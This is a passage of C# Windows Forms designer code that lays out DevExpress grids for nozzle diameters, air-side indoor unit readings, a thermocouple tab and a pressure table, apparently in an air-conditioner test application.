this.asNozzleID21CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.asNozzleID21CheckColumn.Visible = true;
this.asNozzleID21CheckColumn.Width = 68;
//
// asNozzleID22Band
//
this.asNozzleID22Band.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID22Band.AppearanceHeader.Options.UseFont = true;
this.asNozzleID22Band.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID22Band.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID22Band.Caption = "Indoor No.2 #2";
this.asNozzleID22Band.Columns.Add(this.asNozzleID22DiameterColumn);
this.asNozzleID22Band.Columns.Add(this.asNozzleID22CheckColumn);
this.asNozzleID22Band.MinWidth = 16;
this.asNozzleID22Band.Name = "asNozzleID22Band";
this.asNozzleID22Band.VisibleIndex = 4;
this.asNozzleID22Band.Width = 136;
//
// asNozzleID22DiameterColumn
//
this.asNozzleID22DiameterColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID22DiameterColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID22DiameterColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID22DiameterColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.asNozzleID22DiameterColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID22DiameterColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID22DiameterColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID22DiameterColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID22DiameterColumn.Caption = "Diameter";
this.asNozzleID22DiameterColumn.FieldName = "ID22Diameter";
this.asNozzleID22DiameterColumn.MinWidth = 36;
this.asNozzleID22DiameterColumn.Name = "asNozzleID22DiameterColumn";
this.asNozzleID22DiameterColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowMove = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowSize = false;
this.asNozzleID22DiameterColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID22DiameterColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID22DiameterColumn.OptionsColumn.TabStop = false;
this.asNozzleID22DiameterColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID22DiameterColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID22DiameterColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID22DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22DiameterColumn.Visible = true;
this.asNozzleID22DiameterColumn.Width = 68;
//
// asNozzleID22CheckColumn
//
this.asNozzleID22CheckColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID22CheckColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID22CheckColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID22CheckColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID22CheckColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID22CheckColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID22CheckColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID22CheckColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID22CheckColumn.Caption = "State";
this.asNozzleID22CheckColumn.ColumnEdit = this.asNozzleCheckEdit;
this.asNozzleID22CheckColumn.FieldName = "ID22State";
this.asNozzleID22CheckColumn.MinWidth = 27;
this.asNozzleID22CheckColumn.Name = "asNozzleID22CheckColumn";
this.asNozzleID22CheckColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsColumn.AllowMove = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowSize = false;
this.asNozzleID22CheckColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID22CheckColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID22CheckColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID22CheckColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID22CheckColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID22CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID22CheckColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.asNozzleID22CheckColumn.Visible = true;
this.asNozzleID22CheckColumn.Width = 68;
//
// airSideGrid
//
this.airSideGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.airSideGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.airSideGrid.Location = new System.Drawing.Point(6, 40);
this.airSideGrid.MainView = this.airSideGridView;
this.airSideGrid.Name = "airSideGrid";
this.airSideGrid.Size = new System.Drawing.Size(674, 600);
this.airSideGrid.TabIndex = 277;
this.airSideGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.airSideGridView});
//
// airSideGridView
//
this.airSideGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.FixedLine.Options.UseFont = true;
this.airSideGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.FocusedRow.Options.UseFont = true;
this.airSideGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.airSideGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.airSideGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.OddRow.Options.UseFont = true;
this.airSideGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.Preview.Options.UseFont = true;
this.airSideGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.Row.Options.UseFont = true;
this.airSideGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.SelectedRow.Options.UseFont = true;
this.airSideGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.airSideGridView.Appearance.ViewCaption.Options.UseFont = true;
this.airSideGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.agNameColumn,
this.agID11Column,
this.agID12Column,
this.agID21Column,
this.sgID22Column,
this.sgUnitColumn});
this.airSideGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.airSideGridView.GridControl = this.airSideGrid;
this.airSideGridView.Name = "airSideGridView";
this.airSideGridView.OptionsBehavior.Editable = false;
this.airSideGridView.OptionsBehavior.ReadOnly = true;
this.airSideGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.airSideGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.airSideGridView.OptionsCustomization.AllowColumnMoving = false;
this.airSideGridView.OptionsCustomization.AllowColumnResizing = false;
this.airSideGridView.OptionsCustomization.AllowFilter = false;
this.airSideGridView.OptionsCustomization.AllowGroup = false;
this.airSideGridView.OptionsCustomization.AllowSort = false;
this.airSideGridView.OptionsSelection.MultiSelect = true;
this.airSideGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.airSideGridView.OptionsView.ColumnAutoWidth = false;
this.airSideGridView.OptionsView.ShowGroupPanel = false;
this.airSideGridView.OptionsView.ShowIndicator = false;
this.airSideGridView.Tag = 0;
this.airSideGridView.CustomDrawCell += new DevExpress.XtraGrid.Views.Base.RowCellCustomDrawEventHandler(this.airSideGridView_CustomDrawCell);
//
// agNameColumn
//
this.agNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agNameColumn.AppearanceCell.Options.UseFont = true;
this.agNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agNameColumn.AppearanceHeader.Options.UseFont = true;
this.agNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.agNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.agNameColumn.Caption = "Name";
this.agNameColumn.FieldName = "Name";
this.agNameColumn.Name = "agNameColumn";
this.agNameColumn.OptionsColumn.AllowEdit = false;
this.agNameColumn.OptionsColumn.AllowFocus = false;
this.agNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.agNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.agNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.agNameColumn.OptionsColumn.AllowMove = false;
this.agNameColumn.OptionsColumn.AllowShowHide = false;
this.agNameColumn.OptionsColumn.AllowSize = false;
this.agNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.agNameColumn.OptionsColumn.FixedWidth = true;
this.agNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.agNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.agNameColumn.OptionsColumn.ReadOnly = true;
this.agNameColumn.OptionsColumn.TabStop = false;
this.agNameColumn.OptionsFilter.AllowAutoFilter = false;
this.agNameColumn.OptionsFilter.AllowFilter = false;
this.agNameColumn.Visible = true;
this.agNameColumn.VisibleIndex = 0;
this.agNameColumn.Width = 177;
//
// agID11Column
//
this.agID11Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID11Column.AppearanceCell.Options.UseFont = true;
this.agID11Column.AppearanceCell.Options.UseTextOptions = true;
this.agID11Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.agID11Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID11Column.AppearanceHeader.Options.UseFont = true;
this.agID11Column.Caption = "Indoor No.1 #1";
this.agID11Column.FieldName = "Indoor11";
this.agID11Column.Name = "agID11Column";
this.agID11Column.OptionsColumn.AllowEdit = false;
this.agID11Column.OptionsColumn.AllowFocus = false;
this.agID11Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.agID11Column.OptionsColumn.AllowIncrementalSearch = false;
this.agID11Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.agID11Column.OptionsColumn.AllowMove = false;
this.agID11Column.OptionsColumn.AllowShowHide = false;
this.agID11Column.OptionsColumn.AllowSize = false;
this.agID11Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.agID11Column.OptionsColumn.FixedWidth = true;
this.agID11Column.OptionsColumn.ReadOnly = true;
this.agID11Column.OptionsColumn.TabStop = false;
this.agID11Column.Visible = true;
this.agID11Column.VisibleIndex = 1;
this.agID11Column.Width = 98;
//
// agID12Column
//
this.agID12Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID12Column.AppearanceCell.Options.UseFont = true;
this.agID12Column.AppearanceCell.Options.UseTextOptions = true;
this.agID12Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.agID12Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID12Column.AppearanceHeader.Options.UseFont = true;
this.agID12Column.Caption = "Indoor No.1 #2";
this.agID12Column.FieldName = "Indoor12";
this.agID12Column.Name = "agID12Column";
this.agID12Column.OptionsColumn.AllowEdit = false;
this.agID12Column.OptionsColumn.AllowFocus = false;
this.agID12Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.agID12Column.OptionsColumn.AllowIncrementalSearch = false;
this.agID12Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.agID12Column.OptionsColumn.AllowMove = false;
this.agID12Column.OptionsColumn.AllowShowHide = false;
this.agID12Column.OptionsColumn.AllowSize = false;
this.agID12Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.agID12Column.OptionsColumn.FixedWidth = true;
this.agID12Column.OptionsColumn.ReadOnly = true;
this.agID12Column.OptionsColumn.TabStop = false;
this.agID12Column.Visible = true;
this.agID12Column.VisibleIndex = 2;
this.agID12Column.Width = 98;
//
// agID21Column
//
this.agID21Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID21Column.AppearanceCell.Options.UseFont = true;
this.agID21Column.AppearanceCell.Options.UseTextOptions = true;
this.agID21Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.agID21Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.agID21Column.AppearanceHeader.Options.UseFont = true;
this.agID21Column.Caption = "Indoor No.2 #1";
this.agID21Column.FieldName = "Indoor21";
this.agID21Column.Name = "agID21Column";
this.agID21Column.OptionsColumn.AllowEdit = false;
this.agID21Column.OptionsColumn.AllowFocus = false;
this.agID21Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.agID21Column.OptionsColumn.AllowIncrementalSearch = false;
this.agID21Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.agID21Column.OptionsColumn.AllowMove = false;
this.agID21Column.OptionsColumn.AllowShowHide = false;
this.agID21Column.OptionsColumn.AllowSize = false;
this.agID21Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.agID21Column.OptionsColumn.FixedWidth = true;
this.agID21Column.OptionsColumn.ReadOnly = true;
this.agID21Column.OptionsColumn.TabStop = false;
this.agID21Column.Visible = true;
this.agID21Column.VisibleIndex = 3;
this.agID21Column.Width = 98;
//
// sgID22Column
//
this.sgID22Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.sgID22Column.AppearanceCell.Options.UseFont = true;
this.sgID22Column.AppearanceCell.Options.UseTextOptions = true;
this.sgID22Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.sgID22Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.sgID22Column.AppearanceHeader.Options.UseFont = true;
this.sgID22Column.Caption = "Indoor No.2 #2";
this.sgID22Column.FieldName = "Indoor22";
this.sgID22Column.Name = "sgID22Column";
this.sgID22Column.OptionsColumn.AllowEdit = false;
this.sgID22Column.OptionsColumn.AllowFocus = false;
this.sgID22Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.sgID22Column.OptionsColumn.AllowIncrementalSearch = false;
this.sgID22Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.sgID22Column.OptionsColumn.AllowMove = false;
this.sgID22Column.OptionsColumn.AllowShowHide = false;
this.sgID22Column.OptionsColumn.AllowSize = false;
this.sgID22Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.sgID22Column.OptionsColumn.FixedWidth = true;
this.sgID22Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.sgID22Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.sgID22Column.OptionsColumn.ReadOnly = true;
this.sgID22Column.OptionsColumn.TabStop = false;
this.sgID22Column.OptionsFilter.AllowAutoFilter = false;
this.sgID22Column.OptionsFilter.AllowFilter = false;
this.sgID22Column.Visible = true;
this.sgID22Column.VisibleIndex = 4;
this.sgID22Column.Width = 98;
//
// sgUnitColumn
//
this.sgUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.sgUnitColumn.AppearanceCell.Options.UseFont = true;
this.sgUnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.sgUnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.sgUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.sgUnitColumn.AppearanceHeader.Options.UseFont = true;
this.sgUnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.sgUnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.sgUnitColumn.Caption = "Unit";
this.sgUnitColumn.FieldName = "Unit";
this.sgUnitColumn.Name = "sgUnitColumn";
this.sgUnitColumn.OptionsColumn.AllowEdit = false;
this.sgUnitColumn.OptionsColumn.AllowFocus = false;
this.sgUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.sgUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.sgUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.sgUnitColumn.OptionsColumn.AllowMove = false;
this.sgUnitColumn.OptionsColumn.AllowShowHide = false;
this.sgUnitColumn.OptionsColumn.AllowSize = false;
this.sgUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.sgUnitColumn.OptionsColumn.FixedWidth = true;
this.sgUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.sgUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.sgUnitColumn.OptionsColumn.ReadOnly = true;
this.sgUnitColumn.OptionsColumn.TabStop = false;
this.sgUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.sgUnitColumn.OptionsFilter.AllowFilter = false;
this.sgUnitColumn.Visible = true;
this.sgUnitColumn.VisibleIndex = 5;
this.sgUnitColumn.Width = 102;
//
// ulPanel16
//
this.ulPanel16.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel16.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel16.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel16.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel16.ForeColor = System.Drawing.Color.White;
this.ulPanel16.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel16.InnerColor2 = System.Drawing.Color.White;
this.ulPanel16.Location = new System.Drawing.Point(6, 6);
this.ulPanel16.Name = "ulPanel16";
this.ulPanel16.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel16.OuterColor2 = System.Drawing.Color.White;
this.ulPanel16.Size = new System.Drawing.Size(674, 28);
this.ulPanel16.Spacing = 0;
this.ulPanel16.TabIndex = 5;
this.ulPanel16.Text = "AIR SIDE";
this.ulPanel16.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel16.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// meas2Page
//
this.meas2Page.Controls.Add(this.ulPanel85);
this.meas2Page.Controls.Add(this.ulPanel84);
this.meas2Page.Location = new System.Drawing.Point(4, 4);
this.meas2Page.Margin = new System.Windows.Forms.Padding(0);
this.meas2Page.Name = "meas2Page";
this.meas2Page.Size = new System.Drawing.Size(1384, 859);
this.meas2Page.TabIndex = 1;
this.meas2Page.Text = "Thermocouple ";
this.meas2Page.UseVisualStyleBackColor = true;
//
// ulPanel85
//
this.ulPanel85.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel85.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel85.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel85.Controls.Add(this.pressureGrid);
this.ulPanel85.Controls.Add(this.ulPanel86);
this.ulPanel85.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel85.InnerColor2 = System.Drawing.Color.White;
this.ulPanel85.Location = new System.Drawing.Point(1035, 0);
this.ulPanel85.Name = "ulPanel85";
this.ulPanel85.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel85.OuterColor2 = System.Drawing.Color.White;
this.ulPanel85.Size = new System.Drawing.Size(349, 859);
this.ulPanel85.Spacing = 0;
this.ulPanel85.TabIndex = 8;
this.ulPanel85.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel85.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pressureGrid
//
this.pressureGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.pressureGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureGrid.Location = new System.Drawing.Point(6, 40);
this.pressureGrid.MainView = this.pressureGridView;
this.pressureGrid.Name = "pressureGrid";
this.pressureGrid.Size = new System.Drawing.Size(337, 813);
this.pressureGrid.TabIndex = 11;
this.pressureGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.pressureGridView});
//
// pressureGridView
//
this.pressureGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.FixedLine.Options.UseFont = true;
this.pressureGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.FocusedRow.Options.UseFont = true;
this.pressureGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.pressureGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.pressureGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.OddRow.Options.UseFont = true;
this.pressureGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.Preview.Options.UseFont = true;
this.pressureGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.Row.Options.UseFont = true;
this.pressureGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.SelectedRow.Options.UseFont = true;
this.pressureGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.ViewCaption.Options.UseFont = true;
this.pressureGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pressureNoColumn,
this.pressureNameColumn,
this.pressureValueColumn,
this.pressureUnitColumn});
this.pressureGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.pressureGridView.GridControl = this.pressureGrid;
this.pressureGridView.Name = "pressureGridView";
this.pressureGridView.OptionsView.ColumnAutoWidth = false;
this.pressureGridView.OptionsView.ShowGroupPanel = false;
this.pressureGridView.OptionsView.ShowIndicator = false;
this.pressureGridView.Tag = 0;
//
// pressureNoColumn
//
this.pressureNoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNoColumn.AppearanceCell.Options.UseFont = true;
this.pressureNoColumn.AppearanceCell.Options.UseTextOptions = true;
this.pressureNoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNoColumn.AppearanceHeader.Options.UseFont = true;
this.pressureNoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pressureNoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNoColumn.Caption = "No";
this.pressureNoColumn.DisplayFormat.FormatString = "{0:d2}";
this.pressureNoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.pressureNoColumn.FieldName = "No";
this.pressureNoColumn.Name = "pressureNoColumn";
this.pressureNoColumn.OptionsColumn.AllowEdit = false;
this.pressureNoColumn.OptionsColumn.AllowFocus = false;
this.pressureNoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureNoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.AllowMove = false;
this.pressureNoColumn.OptionsColumn.AllowShowHide = false;
this.pressureNoColumn.OptionsColumn.AllowSize = false;
this.pressureNoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.FixedWidth = true;
this.pressureNoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
